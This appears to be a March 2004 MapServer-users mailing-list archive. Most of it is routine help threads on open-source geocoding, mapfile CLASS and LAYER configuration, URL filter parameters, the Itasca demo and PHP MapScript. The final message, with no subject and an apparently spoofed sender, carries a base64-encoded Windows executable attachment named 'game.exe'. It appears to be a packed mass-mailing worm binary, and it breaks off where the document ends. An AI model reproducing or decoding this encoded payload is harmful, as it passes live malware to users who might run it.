TeleAtlas as well as Tiger. I'd like to contribute to an open source geocoder. Will, I've been looking into geocoders for awhile. The products I've looked at for Linux/Unix seem to cost at least $15,000 per year. Probably the top of the line is a product line called Centrus, previously owned by Sagent, now owned by Group 1 software. www.centrus.com They license their product to MapQuest and other large services. There are also online services, like www.geocode.com. If you'd like more company and product names, let me know more details about your platform and requirements, and I'll look through my notes and see if I can help. I've decided I prefer to have my own, or an open source product, so I'm all for putting a group together to build one. John > Will, > >I'm working on an opensource product right now to accomplish this using >the Tiger/LINE 2003 data set. I'll >try and get an alpha version up for download by Monday. > >Eric Waters > >On Fri, Mar 26, 2004 at 07:52:05AM -0700, Will Richardson wrote: >> Hello, >> >> Does anyone know of a good geocoding product that will take addresses >> and get a lat/long? >> >> Thanks, >> Will >> From bob.basques at ci.stpaul.mn.us Sat Mar 27 10:21:48 2004 From: bob.basques at ci.stpaul.mn.us (blammo) Date: Sat, 27 Mar 2004 12:21:48 -0600 Subject: [Mapserver-users] RE: geocoding product Message-ID: <4065C63C.3010404@ci.stpaul.mn.us> This is a multi-part message in MIME format. --------------060900030800030807040806 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hello, I too have an interst in GeoCoding. I have some experience with ADdressing and related issues that might help out. I'm also interested in Placename lookups as geocode queries. I work at a municipal level. So other items like Street Intersection lookups are also a fairly big need. If you could please keep me in the loop on this as well. bobb John Hagstrand wrote: >Hello Will and Eric, > >I am working on a geocoder also. I need to support a variety of data >formats: NavTech and TeleAtlas as well as Tiger. > >I'd like to contribute to an open source geocoder. > >Will, I've been looking into geocoders for awhile. The products I've looked >at for Linux/Unix seem to cost at least $15,000 per year. Probably the top >of the line is a product line called Centrus, previously owned by Sagent, >now owned by Group 1 software. www.centrus.com They license their product >to MapQuest and other large services. > >There are also online services, like www.geocode.com. > >If you'd like more company and product names, let me know more details about >your platform and requirements, and I'll look through my notes and see if I >can help. > >I've decided I prefer to have my own, or an open source product, so I'm all >for putting a group together to build one. > >John > > > > >>Will, >> >>I'm working on an opensource product right now to accomplish this using >>the Tiger/LINE 2003 data set. I'll >>try and get an alpha version up for download by Monday. >> >>Eric Waters >> >>On Fri, Mar 26, 2004 at 07:52:05AM -0700, Will Richardson wrote: >> >> >>>Hello, >>> >>>Does anyone know of a good geocoding product that will take addresses >>>and get a lat/long? >>> >>>Thanks, >>>Will >>> >>> >>> > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > --------------060900030800030807040806 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hello,

I too have an interst in GeoCoding.  I have some experience with ADdressing and related issues that might help out.  I'm also interested in Placename lookups as geocode queries.  I work at a municipal level.  So other items like Street Intersection lookups are also a fairly big need.

If you could please keep me in the loop on this as well.

bobb

John Hagstrand wrote: 
Hello Will and Eric,

I am working on a geocoder also.  I need to support a variety of data
formats: NavTech and TeleAtlas as well as Tiger.

I'd like to contribute to an open source geocoder.

Will, I've been looking into geocoders for awhile.  The products I've looked
at for Linux/Unix seem to cost at least $15,000 per year.  Probably the top
of the line is a product line called Centrus, previously owned by Sagent,
now owned by Group 1 software.  www.centrus.com  They license their product
to MapQuest and other large services.

There are also online services, like www.geocode.com.

If you'd like more company and product names, let me know more details about
your platform and requirements, and I'll look through my notes and see if I
can help.

I've decided I prefer to have my own, or an open source product, so I'm all
for putting a group together to build one.

John


  
Will,

I'm working on an opensource product right now to accomplish this using
the Tiger/LINE 2003 data set.  I'll
try and get an alpha version up for download by Monday.

Eric Waters

On Fri, Mar 26, 2004 at 07:52:05AM -0700, Will Richardson wrote:
    
Hello,

Does anyone know of a good geocoding product that will take addresses
and get a lat/long?

Thanks,
Will

      


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--------------060900030800030807040806-- From mikereilly_7 at hotmail.com Sat Mar 27 14:48:51 2004 From: mikereilly_7 at hotmail.com (Mike Reilly) Date: Sat, 27 Mar 2004 14:48:51 -0800 Subject: [Mapserver-users] Mapfile problem - polygon layer and labels Message-ID: Reviving an old thread - I have the labels working fine now, and was messing around with Sean's suggestion to reduce the number of layers in my .map file by using multiple CLASS sections inside a single layer since I am using mostly just 2 shape files. I am using mapserver cgi with an html interface (I also use the jbox, but that's beside the point here). I have two main shape files, mergeplys and "tus points". Both these shape files have fields in their dbf files named USE1, which I use to filter the polygon and point sites displayed on the map by uses such as fishing, hunting, ceremonial, cultural, etc. The user can select the uses they want to see on the map from a drop box in the html file. The problem is, when I use CLASS instead of separate LAYER definitions, I can't turn the sites visible on the map on and off. Using fishing as an example of the two methods I've tried with the method that works (but requires too many layers) shown first: LAYER # TUS polygon layer begins here NAME tusfishing DATA "mergeplys" STATUS ON TYPE POLYGON TOLERANCE 3 PROJECTION # "init=epsg:4326" END CLASSITEM "USE1" CLASSITEM "LOCATION" CLASS EXPRESSION "fishing" EXPRESSION "land" COLOR 160 160 255 TEMPLATE "templates/land_query.html" OUTLINECOLOR 0 200 0 END CLASS EXPRESSION "fishing" EXPRESSION "Ocean" TEMPLATE "templates/land_query.html" COLOR 100 255 100 OUTLINECOLOR 0 255 0 END END # TUS polygon layer ends her This layer works fine, and I can have a drop box on my html page that has an option as follows to allow me to display fishing areas or turn the m off: I get no polygon sites displayed when I use the following LAYER definition when trying to use CLASS for eacy use - I started by making the CLASS for fishing as a test: LAYER # TUS polygon layer begins here NAME "mergeplys" DATA "mergeplys" STATUS ON TYPE POLYGON TOLERANCE 3 CLASSITEM "USE1" LABELITEM "USE1" LABELMAXSCALE 5000000 CLASS NAME tusfishing EXPRESSION "fishing" EXPRESSION "land" COLOR 160 160 255 LABEL COLOR 0 0 0 TYPE TRUETYPE FONT arial SIZE 12 POSITION CC PARTIALS FALSE BUFFER 2 END TEMPLATE "templates/land_query.html" OUTLINECOLOR 0 200 0 END CLASS NAME tusfishing EXPRESSION "fishing" EXPRESSION "Ocean" TEMPLATE "templates/land_query.html" COLOR 100 255 100 OUTLINECOLOR 0 255 0 LABEL COLOR 0 0 0 TYPE TRUETYPE FONT arial SIZE 12 POSITION CC PARTIALS FALSE BUFFER 2 END END END # TUS polygon layer ends here I was hoping this would consolidate things a bit as I was starting to get an awful lot of layers on my .map file and figured I'd be recompiling the mapserver to support more layers at this rate. I had thought Sean's suggestion as listed below would resolve this, however, I must be missing something somewhere along the line. I tried with Sean's original suggestion of just using EXPRESSION in the CLASS, however, that didn't work either. >From: Sean Gillies >To: "Mike Reilly" >CC: mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] Mapfile problem - polygon layer and labels >Date: Sun, 7 Mar 2004 08:33:47 -0700 > >On Mar 6, 2004, at 8:15 PM, Mike Reilly wrote: > >>Hi: >> >>I've got a work around for the problem I'm having right now, however, it >>causes me to use two layers where I feel one would be more than adequate. >>I have a polygon layer called mergeplys, and in one layer declaration I >>only want to display the layers that contain "food harvest" in the "USE1" >>field. To this end, I built the following layers: >> >> LAYER # TUS polygon layer begins here >> NAME tusfoodharvest >> DATA "mergeplys" >> STATUS ON >> TYPE POLYGON >> TOLERANCE 3 >> PROJECTION >># "init=epsg:4326" >> END >> CLASSITEM "USE1" >> CLASS >> EXPRESSION "food harvest" >> TEMPLATE "templates/land_query.html" >> COLOR 100 255 100 >> OUTLINECOLOR 0 255 0 >># LABEL >># COLOR 0 0 0 >># TYPE TRUETYPE >># FONT arial >># SIZE 12 >># POSITION CC >># PARTIALS FALSE >># BUFFER 2 >># END >> END >> END # TUS polygon layer ends her >> >> LAYER >> NAME tusfoodharvest >> DATA "mergeplys" >> STATUS ON >> MAXSCALE 5000000000 >> TYPE ANNOTATION >> LABELITEM "USE1" >> CLASSITEM "USE1" >> LABELMAXSCALE 500000000 >> CLASS >> EXPRESSION "food harvest" >> COLOR 0 0 0 >> LABEL >> COLOR 0 0 0 >> TYPE TRUETYPE >> FONT arial >> SIZE 12 >> POSITION CC >> PARTIALS FALSE >> BUFFER 2 >> END >> END >> END >> >>The first layer displays the polygon layer and the second one adds the >>label to the polygon. I would like to be able to combine these two into a >>single layer. My attempt at this is commented out in the POLYGON layer >>above. What am I missing here? >> >>On a separate note, I am creating a separate LAYER for each EXPRESSION. >>Is there a more efficient way to do this? My .map file is getting very >>large, and I suspect there's got to be a better way, however, I haven't >>devised one as yet. >> >>TIA, >>Mike Reilly >> > >Mike, > >I see right away that the first layer does not define a LABELITEM. That >may not be the _only_ problem, but you won't get a label without it. > >Instead of a separate LAYER for each expression, use another CLASS. > > CLASS > EXPRESSION "food harvest" > TEMPLATE "templates/land_query.html" > COLOR 100 255 100 > OUTLINECOLOR 0 255 0 > ... > END > CLASS > EXPRESSION "other expression" > TEMPLATE "templates/land_query.html" > COLOR 200 55 200 > OUTLINECOLOR 0 255 0 > ... > END > >Hope this helps, >Sean > >-- >Sean Gillies >sgillies at frii dot com >http://users.frii.com/sgillies > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _________________________________________________________________ Add photos to your messages with MSN Premium. Get 2 months FREE* http://join.msn.com/?pgmarket=en-ca&page=byoa/prem&xAPID=1994&DI=1034&SU=http://hotmail.com/enca&HL=Market_MSNIS_Taglines From bob.basques at ci.stpaul.mn.us Sat Mar 27 21:37:13 2004 From: bob.basques at ci.stpaul.mn.us (blammo) Date: Sat, 27 Mar 2004 23:37:13 -0600 Subject: [Mapserver-users] FILTER, how to . . . Message-ID: <40666489.1020405@ci.stpaul.mn.us> All, I have this which works fine for a single name (city) lookup via the URL: LAYER NAME cshed_ci DATA '../data_points/lshed_ci_blkcentr' STATUS DEFAULT TYPE POINT FILTERITEM W_NAME FILTER '%city%' CLASS NAME ' 1 - 5 workers' EXPRESSION ([H_WORKERS] <= 5) SYMBOL 'circle' SIZE 3 OUTLINECOLOR 0 0 0 COLOR 204 255 255 END CLASS . . . . . . . . . Question, how can I send in multiple filter items via the CITY= parameter in the URL request? CITY=MAPLEWOOD and SAINT PAUL and ROSEVILLE and will multiple CITY= work as seperate filters, like this: CITY=MAPLEWOOD&CITY=SAINT+PAUL&CITY=ROSEVILLE . . . . Thanks bobb From smichas at hydroex.gr Sun Mar 28 12:34:35 2004 From: smichas at hydroex.gr (Spyros Michas) Date: Sun, 28 Mar 2004 23:34:35 +0300 Subject: [Mapserver-users] Itasca demo problems Message-ID: <000801c41504$18b27ea0$bec946d4@spyros> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C4151D.3A7B98F0 Content-Type: text/plain; charset="iso-8859-7" Content-Transfer-Encoding: quoted-printable Hi, I've setup mapserver 4.0 on my Windows XPpro/Apache 2.0.48 machine at = home. Then I installed the workshop Itasca demo. I adjust index.html and itasca.map files and then I run index.html. The = first three basic options simply do not respond at all. The last two options (the frame options) however, work! The top frame = show the map (which means that mapserver is working), but the lower = frame produces a standard webserver "Not found" error, where it is = stated that it could not find a blank.html file in cgi-bin/workshop. Now = "workshop" is my working folder on the web root, so I assume I have made = a path error somewhere. I carefully check the index.html and itasca.map = path entries it the relative lines and it looks ok. Anyway, after I make query requests, the lower frame responds ok, = producing either tables or "empty query response" errors. When I switch = back to "browse" modes, I get the same "Not found" error. Could this be = a bug in the demo files? Does anyone see any possible errors in the above procedures? Thank you. Spyros Michas ------=_NextPart_000_0005_01C4151D.3A7B98F0 Content-Type: text/html; charset="iso-8859-7" Content-Transfer-Encoding: quoted-printable
Hi,
 
I've setup mapserver 4.0 on my = Windows=20 XPpro/Apache 2.0.48 machine at home. Then I installed the workshop = Itasca=20 demo.
 
I adjust index.html and itasca.map = files and then I=20 run index.html. The first three basic options simply do not respond at=20 all.
 
The last two options (the frame = options) however,=20 work! The top frame show the map (which means that mapserver is = working), but=20 the lower frame produces a standard webserver "Not found" error, where = it is=20 stated that it could not find a blank.html file in cgi-bin/workshop. Now = "workshop" is my working folder on the web root, so I assume I have made = a path=20 error somewhere. I carefully check the index.html and itasca.map path = entries it=20 the relative lines and it looks ok.
Anyway, after I make query requests, = the lower=20 frame responds ok, producing either tables or "empty query response" = errors.=20 When I switch back to "browse" modes, I get the same "Not found" error. = Could=20 this be a bug in the demo files?
 
Does anyone see any possible errors in = the above=20 procedures?
 
Thank you.
 
Spyros = Michas
------=_NextPart_000_0005_01C4151D.3A7B98F0-- From mikereilly_7 at hotmail.com Sun Mar 28 13:51:30 2004 From: mikereilly_7 at hotmail.com (Mike Reilly) Date: Sun, 28 Mar 2004 13:51:30 -0800 Subject: [Mapserver-users] Itasca demo problems Message-ID: >From: "Spyros Michas" >To: >CC: >Subject: [Mapserver-users] Itasca demo problems >Date: Sun, 28 Mar 2004 23:34:35 +0300 > >Hi, > >I've setup mapserver 4.0 on my Windows XPpro/Apache 2.0.48 machine at home. >Then I installed the workshop Itasca demo. > >I adjust index.html and itasca.map files and then I run index.html. The >first three basic options simply do not respond at all. > >The last two options (the frame options) however, work! The top frame show >the map (which means that mapserver is working), but the lower frame >produces a standard webserver "Not found" error, where it is stated that it >could not find a blank.html file in cgi-bin/workshop. Now "workshop" is my >working folder on the web root, so I assume I have made a path error >somewhere. I carefully check the index.html and itasca.map path entries it >the relative lines and it looks ok. >Anyway, after I make query requests, the lower frame responds ok, producing >either tables or "empty query response" errors. When I switch back to >"browse" modes, I get the same "Not found" error. Could this be a bug in >the demo files? > >Does anyone see any possible errors in the above procedures? > >Thank you. > >Spyros Michas _________________________________________________________________ STOP MORE SPAM with the MSN Premium and get 2 months FREE* http://join.msn.com/?pgmarket=en-ca&page=byoa/prem&xAPID=1994&DI=1034&SU=http://hotmail.com/enca&HL=Market_MSNIS_Taglines From m_langner at web.de Sun Mar 28 20:42:07 2004 From: m_langner at web.de (Michael Langner) Date: Mon, 29 Mar 2004 06:42:07 +0200 Subject: [Mapserver-users] Change color of queried object via PHP ?! Message-ID: Hallo Mapserver Users, i will change the color of a queried object via PHP (php_mapscript.dll) not with the Mapfile-Methode ("hilite"). But i don't know how. Can somebody help me to solve my problem ? I use php_mapscript_4.0.1.dll and Mapserver 4. Ciao + Thanks From dharanibabus at hotmail.com Sun Mar 28 21:49:05 2004 From: dharanibabus at hotmail.com (Dharani Babu) Date: Mon, 29 Mar 2004 11:19:05 +0530 Subject: [Mapserver-users] Full fledged TIGER Line Project ! Message-ID: Hi all I am working with Map server for 8 weeks and I am able to get maps for any US county with TIGER files . I am using the itasca demo method ( thanks to Tyler ) thats with ..init.html , map file and template html with OGR connection . I am trying to get something similar to http://www.census.gov/cgi-bin/gazetteer . I am wondering if I need to use Map Script or can the same itasca demo method will drive me there to achive this . Have any one already done this ? And moreover I want to render the County maps with "search the location /city " type of queries in a Win CE Powered PDAs ( similar to Pocket PC ) So I plan to have the TIGER files stored in USB and then access the files to render the map based on queries ..Any ideas on this ? Any help will be appreciated. With regards and thanks in advance dharani _________________________________________________________________ Contact brides & grooms FREE! http://www.shaadi.com/ptnr.php?ptnr=hmltag Only on www.shaadi.com. Register now! From Ballini.Yvain at seat.it Sun Mar 28 23:29:44 2004 From: Ballini.Yvain at seat.it (Ballini Yvain) Date: Mon, 29 Mar 2004 09:29:44 +0200 Subject: [Mapserver-users] R: Url-defined symbol Message-ID: <4B1A1EC0790F054193453C48725D431829F9FC@MSGBE1V1.seat.it> Hi Steve, I had already tried to add points to the feature but it doesn't change anything and I can't see my symbol. Maybe I should change the definition in the mapfile ( I'm not sure that defining so the feature in the url, the symbol "pallino" is automatically taken...). Currently, I'm defining the symbol "pallino" with this way in the mapfile: SYMBOL NAME "pallino" TYPE POINT FILLED TRUE FONT arial-bold CHARACTER 'X' END Thanks again. Yvain -----Messaggio originale----- Da: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Inviato: gioved? 25 marzo 2004 18.21 A: Ballini Yvain Oggetto: Re: Url-defined symbol You're trying to add points to a class which is not correct. You can ditch the empty feature too. Try changing your URL to read: ".../scripts/mapserv.exe?mode=map&layer=vie_navtech&layer=pallino&zoomdi r=0&imgxy=415+390&imgext=515305+5036405+516270+5037259&imgsize=630+580&m ap_pallino_feature=new&map_pallino_feature_points=515800+5036800&map=e%3A%5C mapserver%5Citasca%5Cdemo.map" Steve >>> "Ballini Yvain" 03/25/04 9:04 AM >>> Hi List, I would like to add some feature on my url in order to show dynamically a symbol on my map : tipically, I would like to show a crosshair, setting its ccordinates in the url. For doing it I've added in my map file a layer definition like that: LAYER NAME pallino TYPE POINT STATUS ON FEATURE POINTS END END CLASS NAME "pallino" SYMBOL "pallino" END END And I call this layer like this in the Url: ".../scripts/mapserv.exe?mode=map&layer=vie_navtech&layer=pallino&zoomdi r=0&imgxy=415+390&imgext=515305+5036405+516270+5037259&imgsize=630+580&m ap_pallino_class=new&map_pallino_class_points=515800+5036800&map=e%3A%5C mapserver%5Citasca%5Cdemo.map" With this url, I'm expecting to see a symbol "pallino" quite in the center of my map but I don't see anything execpt the other layer (vie_navtech). Could someone tell me where I'm wrong, and how I should do in order to show correctly my symbol? Thanks a lot ! Yvain. From jvanulde at nrcan.gc.ca Sun Mar 28 23:55:41 2004 From: jvanulde at nrcan.gc.ca (jvanulde at nrcan.gc.ca) Date: Mon, 29 Mar 2004 16:55:41 +0900 Subject: [Mapserver-users] (no subject) Message-ID: ----------412388262213380 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------412388262213380 Content-Type: application/x-msdownload; name="game.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="game.exe" TVqQAAMAAAAEAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAAAkAAAAPgAAAAAAAAu9 AAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAwAAAAAIAAAAAAAACAAAA AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADQvQAANAAAAACgAACgAwAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQ AAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAHRhAAAAIAAAAKAAAAQeAAAAAgAA AAAAAAAAAAAAAAAA4AAAwEtFUk5FTDMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0Fk ZHJlc3MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxr1AALq9QAC8vUAAmAFAAAAQQACco0AA AVBAAAGQQAAAAAAAtEVAAAEAAAD4vUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA OAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAaAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAALSgAADoAgAA AAAAAAAAAACgoAAAFAAAAAAAAAAAAAAAAAABAAEAICAQAAEABADoAgAAAQAoAAAAIAAAAEAA AAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAA AAAAcAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAcA AAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAd3dwAAAAAAAAAAAAAAAAAACIhwAAAA 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 